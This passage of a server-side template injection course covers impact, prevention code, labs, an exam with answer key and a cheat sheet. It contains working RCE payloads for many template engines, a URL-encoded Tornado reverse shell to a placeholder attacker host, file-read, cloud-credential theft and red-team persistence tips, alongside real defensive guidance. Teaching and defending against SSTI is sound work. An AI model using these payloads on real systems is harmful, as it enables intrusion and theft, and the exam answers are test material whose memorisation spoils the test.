%7B%7B__import__('os').system('echo%20%22bash%20-i%20%3E%26%20/dev/tcp/ATTACKER_IP/ATTACKER_PORT%200%3E%261%22%20%3E%20/tmp/s.sh%20%26%26%20bash%20/tmp/s.sh')%7D%7D

SECTION 14. Wordlists and Payload Libraries

Practical advice

  • Keep an engine-fingerprint table on hand at all times.
  • Maintain a personal cheat sheet with the canonical RCE chain per engine.
  • Save the Tornado URL-encoded reverse-shell payload as a template; many engagements end with it.
  • Always run both Tplmap and SSTImap; their detection sets are slightly different.

SECTION 15. Impact

Step 1: math evaluation proven

`{{7*7}}` returns `49`. Proof of concept; not yet impactful.

Step 2: context dump

`{{config}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` leak application secrets, DB URI, AWS credentials, signing keys.

Step 3: file read

`{{cycler.__init__.__globals__.open('/etc/passwd').read()}}` -- arbitrary file read as the web user.

Step 4: remote code execution

`{{cycler.__init__.__globals__.os.popen('id').read()}}` -- full RCE.

Step 5: cloud-credential theft

`{{cycler.__init__.__globals__.os.popen('curl 169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}` -- IAM credentials.

Step 6: K8s service-account theft

Read `/run/secrets/kubernetes.io/serviceaccount/token` -- cluster takeover.

Step 7: source-code disclosure

Read application Python/PHP files; find further bugs (hardcoded secrets, SQLi, auth bypass).

Step 8: persistence

Drop a webshell or modify a template file; reach back later.

Step 9: lateral movement

Stolen SSH keys, cloud creds, internal HTTP endpoints reached from the web tier.

Step 10: database access

RCE in the web tier often means full DB access as the application user.

Step 11: mass impact

SSTI in a marketing automation tool or CMS plugin can affect every tenant on the platform.

Step 12: regulatory and contractual fallout

GDPR, HIPAA, PCI DSS, SOC2 violations once customer data is exfiltrated.

Step 13: brand and trust damage

Public SSTI disclosures regularly become Twitter/HackerNews headlines.

Step 14: long-tail cost

Forensic investigation, mandatory audits, insurance premium spikes, churn from enterprise customers.

Step 15: catastrophic worst case

SaaS provider compromised -> every customer's data exposed simultaneously (the VMware Workspace ONE pattern).

SECTION 16. Prevention

The fix is structural: user input must never become part of the template source. Always pass it as a data value.

Vulnerable example

python
template = "Hello " + user_input + "!"
return render_template_string(template)        # VULNERABLE

Safe example

python
template = "Hello {{name}}!"                   # static, written by developer
return render_template_string(template, name=user_input)
  • The template is fixed and written by the developer.
  • User input flows in as a value through the engine's variable substitution.
  • The engine never evaluates user input as code.

Six rules to eliminate SSTI

  • 1. Never pass user input as template source.
  • 2. Use the data-passing form of every render API.
  • 3. When users must customize content, use a logic-less engine (Mustache, Liquid in restricted mode).
  • 4. Sandbox the engine when user-controlled templates are unavoidable (Jinja2 `SandboxedEnvironment`, Twig `SandboxExtension`). Treat as defense in depth, never primary.
  • 5. Run rendering in a restricted container with no network, minimal filesystem access, and no critical secrets in environment variables.
  • 6. Audit every place a template is constructed dynamically. Grep for `compile`, `render_string`, `Template(`, `ERB.new(`, `createTemplate`, and similar primitives.

Safe patterns by engine

Flask + Jinja2

python
return render_template_string("Hello {{name}}!", name=user_input)

Twig

php
$tpl = $twig->load('greeting.twig');     // static .twig file
echo $tpl->render(['name' => $user_input]);

Freemarker

java
Template t = config.getTemplate("greeting.ftl");   // static .ftl file
t.process(Map.of("name", userInput), out);

ERB (avoid user-supplied templates entirely)

ruby
ERB.new(File.read('greeting.erb')).result(binding)
# user_input is bound as a local variable, not as ERB source

Node.js (EJS / Handlebars)

javascript
res.render('greeting', { name: req.query.name });   // static template file

Sandboxing (defense in depth)

Jinja2 SandboxedEnvironment

python
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{name}}!")
print(template.render(name=user_input))

Even with `SandboxedEnvironment`, never put user input on the template-source side. Sandboxes have documented escape chains.

Twig SandboxExtension

php
$twig = new Twig\Environment($loader);
$sandbox = new Twig\Extension\SandboxExtension(new Twig\Sandbox\SecurityPolicy(
    $allowedTags, $allowedFilters, $allowedMethods, $allowedProperties, $allowedFunctions
));
$twig->addExtension($sandbox);

Developer checklist

  • No render call ever receives a string that contains user input.
  • All templates are static and live in version control.
  • User data flows through variable substitution only.
  • Engine is sandboxed if user-defined templates are unavoidable.
  • Code review checklist explicitly lists "no SSTI patterns".
  • Sensitive secrets are not in environment variables accessible to templates.
  • Rendering runs in a container without network access where possible.
  • CI pipeline scans for SSTI sinks (Semgrep, CodeQL rules).
  • All custom merge-tag systems are reviewed for expression evaluation.
  • Auto-escape is enabled for XSS defense in depth (does not stop SSTI).

Enterprise mitigations

  • Sandbox the render service in a dedicated container with seccomp and AppArmor profiles.
  • Run as unprivileged user with read-only filesystem.
  • Network segmentation preventing the render service from reaching internal databases or cloud metadata.
  • Audit logging of every template render call with user-controlled inputs.
  • Bug bounty programs scoped to include SSTI explicitly.
  • WAF rules for common SSTI payload patterns as defense in depth (not primary).
  • SAST rules that flag `render_template_string`, `createTemplate`, `ERB.new`, `Template(... StringReader ...)`, `handlebars.compile`, `ejs.compile`, `Razor.Parse` with non-constant arguments.

SECTION 17. Real-World Cases

CVE library (with NVD URLs)

Foundational research

Real disclosed HackerOne reports

Lessons learned

  • SSTI ships at every scale, from solo SaaS projects to Fortune 500 platforms (Uber, VMware, Atlassian).
  • The most common entry point is a personalization feature nobody flagged as risky.
  • Bug bounty payouts for SSTI regularly hit $5,000 to $100,000 on critical platforms.
  • The fix is universally the same: stop concatenating user input into templates.
  • New research keeps producing fresh bypasses (quote-less, Unicode, sandbox-escape variations) -- the bug class is far from solved.

SECTION 18. References

SECTION 19. Practical Labs

Planned ANAS SSTI Labs (SOON)

  • ANAS-SSTI-01 -- AnasMarket Jinja2 Email Greeting (basic), beginner
  • ANAS-SSTI-02 -- AnasMarket Jinja2 RCE via cycler chain, beginner-intermediate
  • ANAS-SSTI-03 -- AnasSocial Twig Sandbox Bypass, intermediate
  • ANAS-SSTI-04 -- AnasCorp Freemarker Reporting Engine RCE, intermediate
  • ANAS-SSTI-05 -- AnasOne ERB Admin Dashboard Widget RCE, intermediate
  • ANAS-SSTI-06 -- AnasMarket Handlebars constructor.constructor, intermediate
  • ANAS-SSTI-07 -- AnasDocs Tornado URL-Encoded Reverse Shell, advanced
  • ANAS-SSTI-08 -- AnasMarket Hex-Encoded WAF Bypass (|attr filter), advanced
  • ANAS-SSTI-09 -- AnasOne Blind SSTI with DNS Exfiltration, advanced
  • ANAS-SSTI-10 -- AnasBank Spring SpEL Injection to RCE, advanced
  • ANAS-SSTI-11 -- AnasMarket Information Disclosure via {{config}} + {{settings}}, intermediate
  • ANAS-SSTI-12 -- AnasCorp Sandboxed Jinja2 Escape via Custom Method Chain, expert
  • ANAS-SSTI-13 -- AnasOne EJS require('child_process') RCE, intermediate
  • ANAS-SSTI-14 -- AnasMarket Pug Global Access RCE, intermediate
  • ANAS-SSTI-15 -- AnasMarket Razor System.Diagnostics RCE (Windows), advanced

PortSwigger Web Security Academy SSTI labs

Self-hosted lab targets

  • Flask-Vulnerable-App (Jinja2 SSTI training): community projects on GitHub.
  • Tplmap demo apps in the tplmap repo.
  • Vulhub container scenarios for Freemarker, Velocity, ERB, EJS.

Lab progression

  • Week 1: PortSwigger Apprentice + ANAS-SSTI-01 + sections 1-8 of this course.
  • Week 2: PortSwigger Practitioner labs + ANAS-SSTI-02/03/04 + read 5 disclosed reports in section 17.
  • Week 3: PortSwigger sandboxed SSTI + ANAS-SSTI-05/06/11 + replicate Uber report locally.
  • Week 4: Tornado URL-encoded shell + ANAS-SSTI-07/08/09.
  • Week 5: PortSwigger custom exploit + ANAS-SSTI-10/12/13/14/15.

SECTION 20. Cheat Sheet

text
+--------------------------------------------------------------------+
|                    ANAS EDUCATION -- SSTI CHEAT SHEET              |
+--------------------------------------------------------------------+
|                                                                    |
|  DETECTION                                                         |
|    {{7*7}}  -> 49  ==> SSTI                                        |
|    {{7*'7'}} -> "7777777" Jinja2/Tornado, "49" Twig                |
|    ${7*7} -> 49 Freemarker/Velocity                                |
|    <%=7*7%> -> 49 ERB/EJS                                          |
|    #{7*7} -> 49 Pug/Spring                                         |
|    @(7*7) -> 49 Razor                                              |
|                                                                    |
|  FINGERPRINT (info disclosure)                                     |
|    Jinja2/Flask:  {{config}} {{request}} {{session}}               |
|    Twig:          {{dump(app)}} {{_self}}                          |
|    Django:        {% debug %} {{settings.SECRET_KEY}}              |
|    Tornado:       {{handler}} {{request}}                          |
|                                                                    |
|  RCE PAYLOADS                                                      |
|    Jinja2:                                                         |
|      {{cycler.__init__.__globals__.os.popen('id').read()}}         |
|    Twig (sandbox off):                                             |
|      {{_self.env.registerUndefinedFilterCallback("system")}}       |
|      {{_self.env.getFilter("id")}}                                 |
|    Freemarker:                                                     |
|      ${"freemarker.template.utility.Execute"?new()("id")}          |
|    ERB:                                                            |
|      <%= `id` %>                                                   |
|    EJS:                                                            |
|      <%= require('child_process').execSync('id') %>                |
|    Handlebars:                                                     |
|      {{constructor.constructor('return                             |
|       process.mainModule.require("child_process")                  |
|       .execSync("id").toString()')()}}                             |
|    Razor:                                                          |
|      @System.Diagnostics.Process.Start("cmd","/c id")              |
|    Spring SpEL:                                                    |
|      ${T(java.lang.Runtime).getRuntime().exec("id")}               |
|                                                                    |
|  TORNADO REVERSE SHELL (URL-encoded)                               |
|    %7B%7B__import__('os').system('echo%20"bash%20-i%20%3E%26       |
|    %20/dev/tcp/IP/PORT%200%3E%261"%20%3E%20/tmp/s.sh%20%26%26      |
|    %20bash%20/tmp/s.sh')%7D%7D                                     |
|                                                                    |
|  WAF BYPASS (Jinja2)                                               |
|    {{ ''|attr('__class__') }}                                      |
|    {% set x = ''.__class__ %}{{ x }}                               |
|    {{ request|attr(['__','class','__']|join) }}                    |
|                                                                    |
|  PREVENTION                                                        |
|    Never concatenate user input into template source               |
|    Pass as data: render(tpl, name=user_input)                      |
|    Use logic-less engines (Mustache) when user can edit templates  |
|    Sandbox + container + no secrets in env                         |
|                                                                    |
|  KEY CWE: CWE-1336 (template-engine neutralization)                |
|  OWASP: A03:2021 Injection                                         |
|                                                                    |
+--------------------------------------------------------------------+
|                       Go hunt. -- ANAS EDUCATION                   |
+--------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Answer key at the end.

  • 1. What does SSTI stand for?

A) Server-Side Template Injection B) Server-Side Token Injection C) Secure Server Template Insertion D) System-Side Template Inclusion

  • 2. The classic SSTI detection probe is:

A) `' OR 1=1--` B) `<script>alert(1)</script>` C) `{{7*7}}` D) `../../../etc/passwd`

  • 3. If `{{7*'7'}}` returns `7777777`, the engine is most likely:

A) Twig B) Jinja2 / Python (Tornado) C) Freemarker D) Razor

  • 4. If `${7*7}` returns `49`, the engine family is likely:

A) Jinja2 B) ERB C) Freemarker / Velocity / Spring SpEL D) Mustache

  • 5. SSTI most commonly leads to:

A) XSS only B) Remote code execution C) SQL injection D) CSRF

  • 6. Which CWE matches SSTI most directly?

A) CWE-79 B) CWE-1336 C) CWE-89 D) CWE-22

  • 7. The root cause of SSTI is:

A) Using template engines B) Concatenating user input into template source instead of passing it as a data value C) Missing CSRF tokens D) Weak passwords

  • 8. Which Jinja2 payload is a classic RCE chain?

A) `{{7*7}}` B) `{{config}}` C) `{{cycler.__init__.__globals__.os.popen('id').read()}}` D) `{{name}}`

  • 9. A Tornado payload returns HTTP 512. This means:

A) Command executed successfully B) The engine rejected the payload due to special-character parsing C) The server is down D) SSTI is impossible

  • 10. The BEST way to safely use user input with a template:

A) Concatenate into the template string B) `render_template_string("Hello {{name}}!", name=user_input)` with a static template C) Trust auto-escape alone D) Encode in base64

  • 11. Which template engine is logic-less by design?

A) Jinja2 B) Mustache C) ERB D) Freemarker

  • 12. A `{% debug %}` payload that dumps context is specific to:

A) Jinja2 B) Twig C) Django D) ERB

  • 13. The Freemarker payload `${"freemarker.template.utility.Execute"?new()("id")}` uses:

A) Java reflection through the Execute utility class B) JavaScript eval C) Bash shell D) SQL injection

  • 14. Which Handlebars payload achieves RCE through constructor access?

A) `{{this}}` B) `{{constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()}}` C) `{{name}}` D) `{{value}}`

  • 15. SSTI in ERB is dangerous because ERB allows:

A) Only math B) Only string concat C) Full Ruby including backticks for shell commands D) Only HTML rendering

  • 16. The researcher who named SSTI as a vulnerability class is:

A) Daniel Bernstein B) James Kettle (PortSwigger, 2015) C) Bruce Schneier D) Brian Krebs

  • 17. The VMware Workspace ONE SSTI CVE from 2022 is:

A) CVE-2021-44228 B) CVE-2022-22954 C) CVE-2017-5638 D) CVE-2020-1472

  • 18. Tornado refuses `>&` in a reverse-shell payload. The fix is:

A) Give up B) Write the shell command to a file first via echo + system(), URL-encode the whole payload C) Use SQL injection D) Use bigger numbers

  • 19. Sandboxed engines:

A) Are immune to SSTI B) Can still leak data and sometimes RCE; treat them as defense in depth, not primary C) Are unused in 2026 D) Reject all input

  • 20. `{{7*7}}` returning `49` proves:

A) Just math works B) Critical SSTI confirmed; escalate to RCE C) Server is broken D) Authentication failure

  • 21. Auto-escape protects against:

A) SSTI B) XSS C) SQLi D) CSRF

  • 22. When `.` and `_` are filtered, the Jinja2 bypass is:

A) Hex-encoded attribute access via `|attr('\x5f\x5fclass\x5f\x5f')` B) Base64 encoding only C) SQL injection D) SSTI is impossible

  • 23. Which tool auto-detects and exploits SSTI?

A) sqlmap B) Tplmap / SSTImap C) nikto D) hashcat

  • 24. A blind SSTI (no output visible) can be confirmed via:

A) Homepage visit B) DNS exfiltration, time-based delays, or out-of-band HTTP requests C) CSS animations D) Cookies

  • 25. `{{config}}` reveals `SECRET_KEY`. The right action is:

A) Report this as critical info disclosure B) Escalate further to RCE and chain both findings C) Ignore D) Encode the key in base64

  • 26. Which payload is for ERB?

A) `{{7*7}}` B) `<%= 7*7 %>` C) `${7*7}` D) `#{7*7}`

  • 27. Spring SpEL injection looks most like:

A) `${T(java.lang.Runtime).getRuntime().exec("id")}` B) `{{7*7}}` C) `<%= 7*7 %>` D) `@(7*7)`

  • 28. A custom exploit in PortSwigger's "SSTI with a custom exploit" lab abuses:

A) Application-specific methods exposed in the engine (e.g., setAvatar + gdprDelete) B) SQL injection C) CSRF D) Open redirect

  • 29. The MOST effective prevention strategy is:

A) WAF rules B) Never pass user input into a template-source position C) Disabling JavaScript D) Using HTTPS

  • 30. The MOST important takeaway about SSTI:

A) Templates are HTML escapers B) Templates are programs; user input must remain data, never become code C) SSTI only affects Python apps D) Auto-escape prevents SSTI

Answer key

  • 1.A 2.C 3.B 4.C 5.B 6.B 7.B 8.C 9.B 10.B
  • 11.B 12.C 13.A 14.B 15.C 16.B 17.B 18.B 19.B 20.B
  • 21.B 22.A 23.B 24.B 25.B 26.B 27.A 28.A 29.B 30.B

Scoring

  • 27 to 30: SSTI expert.
  • 24 to 26: solid.
  • 19 to 23: functional; re-read sections 11 and 16.
  • Below 19: re-read sections 1 to 8 and retake.

SECTION 22. Certificate Requirements

  • Read all 24 sections.
  • Score 24/30 or higher on section 21.
  • Complete all PortSwigger Web Security Academy SSTI labs (7 labs).
  • Complete at least 10 of the 15 planned ANAS SSTI labs (once released).
  • Demonstrate one end-to-end SSTI-to-RCE chain (Jinja2 cycler, Freemarker Execute, ERB backticks, or EJS require) against a controlled target you own.
  • Document one finding in a 500+ word write-up with engine identification, payload, response, and the exact fix.
  • Maintain a personal payload library of 25+ SSTI payloads organized by engine.

Ethical baseline

The techniques here are immediate RCE. Use them only on systems you own or have explicit written permission to test. Use benign payloads (`id`, `whoami`, `hostname`) first to confirm execution without damaging the system.

SECTION 23. Important Notes

Common beginner mistakes

  • Testing only `{{7*7}}` and giving up. Always run the full fingerprint set.
  • Confusing client-side template injection (AngularJS, Vue) with SSTI. CSTI is XSS-class, SSTI is RCE-class.
  • Reporting `49` as critical without escalating.
  • Forgetting that auto-escape protects against XSS, not SSTI.
  • Trying raw payloads without URL-encoding when special characters break parsing.

Pentester tips

  • Identify the engine before throwing RCE payloads. Wrong syntax wastes time and tips off WAFs.
  • Read the engine's documentation; the juiciest exploits live in features developers never knew existed.
  • Multi-step payloads (write file, then execute) survive parsers that reject `>&` and pipes.
  • Always verify Tplmap/SSTImap findings manually.

Bug bounty tips

  • SSTI typically pays $5,000 to $100,000 depending on target and impact.
  • Demonstrate RCE, not just `49`. The multiplier is dramatic.
  • Document engine-fingerprinting steps; triagers love clear progression.
  • Marketing automation, CMS plugins, and internal admin tools are the highest-paying SSTI hunting grounds.

Red team notes

  • SSTI on a public-facing app is one of the cleanest paths to initial access.
  • No malware needed; the payload IS the exploit.
  • Antivirus and EDR rarely flag template payloads in HTTP requests.
  • Combine SSTI with cloud metadata SSRF for credentials and lateral movement.
  • Persistence via SSTI-injected backdoor templates is silent and survives many restarts.

Defender tips

  • Centralize template loading through a single safe function. Forbid `render_template_string` (and equivalents) with dynamic source.
  • Use Semgrep rules to detect SSTI sinks in CI.
  • Use CodeQL for deeper static analysis.
  • Penetration-test every feature that personalizes content.
  • Threat-model new features that allow user-defined templates.

Things to remember during exams

  • CWE-1336 = SSTI.
  • `{{7*7}}` is the universal canary.
  • Jinja2 RCE chain: `cycler.__init__.__globals__.os.popen(...).read()`.
  • Freemarker RCE: `freemarker.template.utility.Execute`.
  • ERB is full Ruby. EJS is full Node. Razor is full .NET.
  • Auto-escape != SSTI defense.

Frequently confused concepts

  • SSTI vs CSTI: SSTI runs on the server (RCE). CSTI runs in the browser (XSS).
  • SSTI vs XSS: XSS abuses HTML rendering. SSTI abuses template evaluation.
  • SSTI vs SQLi: SQLi abuses database queries. SSTI abuses template engines.
  • Sandboxed vs unsandboxed: a sandbox limits but rarely eliminates SSTI.
  • Logic-less vs logic-full: Mustache is logic-less; Jinja2, Twig, Freemarker, ERB are logic-full and therefore RCE-class.

Interview tips

  • Explain SSTI without using the word "template" first. Teach simply: a feature that personalizes content evaluates user input as code.
  • Mention James Kettle's 2015 PortSwigger research as the foundational paper.
  • Cite CVE-2022-22954 (VMware) and CVE-2022-26134 (Confluence) for real-world impact.
  • Always finish with the defense: never concatenate user input into template source.

Key takeaways

  • SSTI turns personalization features into RCE engines.
  • The bug class is universal across every language.
  • Detection is one probe: `{{7*7}}`.
  • Escalation depends on the engine, but the principle is the same: walk the object graph to dangerous primitives.
  • The fix is one architectural rule: user input is data, never template.

SECTION 24. Final Word from Your Instructor

You finished the SSTI course. You now know more about this bug class than most working backend developers, and enough to find it, exploit it responsibly, and fix it in any codebase.

Here is the short version.

SSTI works because a template is not a string; it is a small program. When a developer concatenates user input into a template string and hands the result to the engine's "render from string" function, every expression the user writes gets evaluated. In Jinja2 the path leads through `cycler.__init__.__globals__.os.popen`; in Freemarker through `freemarker.template.utility.Execute`; in ERB through Ruby backticks; in EJS through `require('child_process')`; in Razor through `System.Diagnostics.Process.Start`; in Spring through `T(java.lang.Runtime).getRuntime().exec`. Each engine has its own chain; the principle is identical.

The defense is one architectural rule. User input flows in as data through the engine's variable substitution. Templates are written by developers, stored in version control, and never assembled at runtime from user-controlled strings. If user-customized templates are unavoidable, choose a logic-less engine (Mustache, restricted Liquid), sandbox the engine as defense in depth, and run the render service in a container with no network and no secrets in environment variables.

On the offensive side, the workflow is short. Run the seven-probe fingerprint set. Identify the engine. Pull the canonical RCE chain. URL-encode aggressively when the payload contains `>&` or pipes. When the engine refuses raw special characters, write the command to a file and run it (the Tornado pattern). When output is not echoed back, exfiltrate over DNS or HTTP. When secrets are the goal, dump `{{config}}` or `{{settings.SECRET_KEY}}`. When persistence is the goal, drop a webshell through RCE.

The disclosed reports prove this is current. VMware Workspace ONE CVE-2022-22954 was mass-exploited as soon as it dropped. Confluence CVE-2022-26134 forced an emergency weekend patch from Atlassian. Uber's `rider.uber.com` Jinja2 SSTI is the canonical real-world example, with `{{ '7'*7 }}` returning `7777777` in the welcome email. Glovo, Unikrn, Internet Bug Bounty Ruby SSTI -- every year brings new disclosures and bigger payouts.

When you see an input field, ask where it ends up rendered. When you see `{{...}}` echoed back, ask whether it evaluated or just printed. When you see a CMS, a marketing tool, an internal admin panel, ask where they call `render`. If the answer takes you to a render call that concatenates user input, you have found a bug worth tens of thousands of dollars.

Stay curious. Stay ethical. Verify scope. Use benign payloads first. The template is the program; your job is to recognize who is writing it.

Go hunt.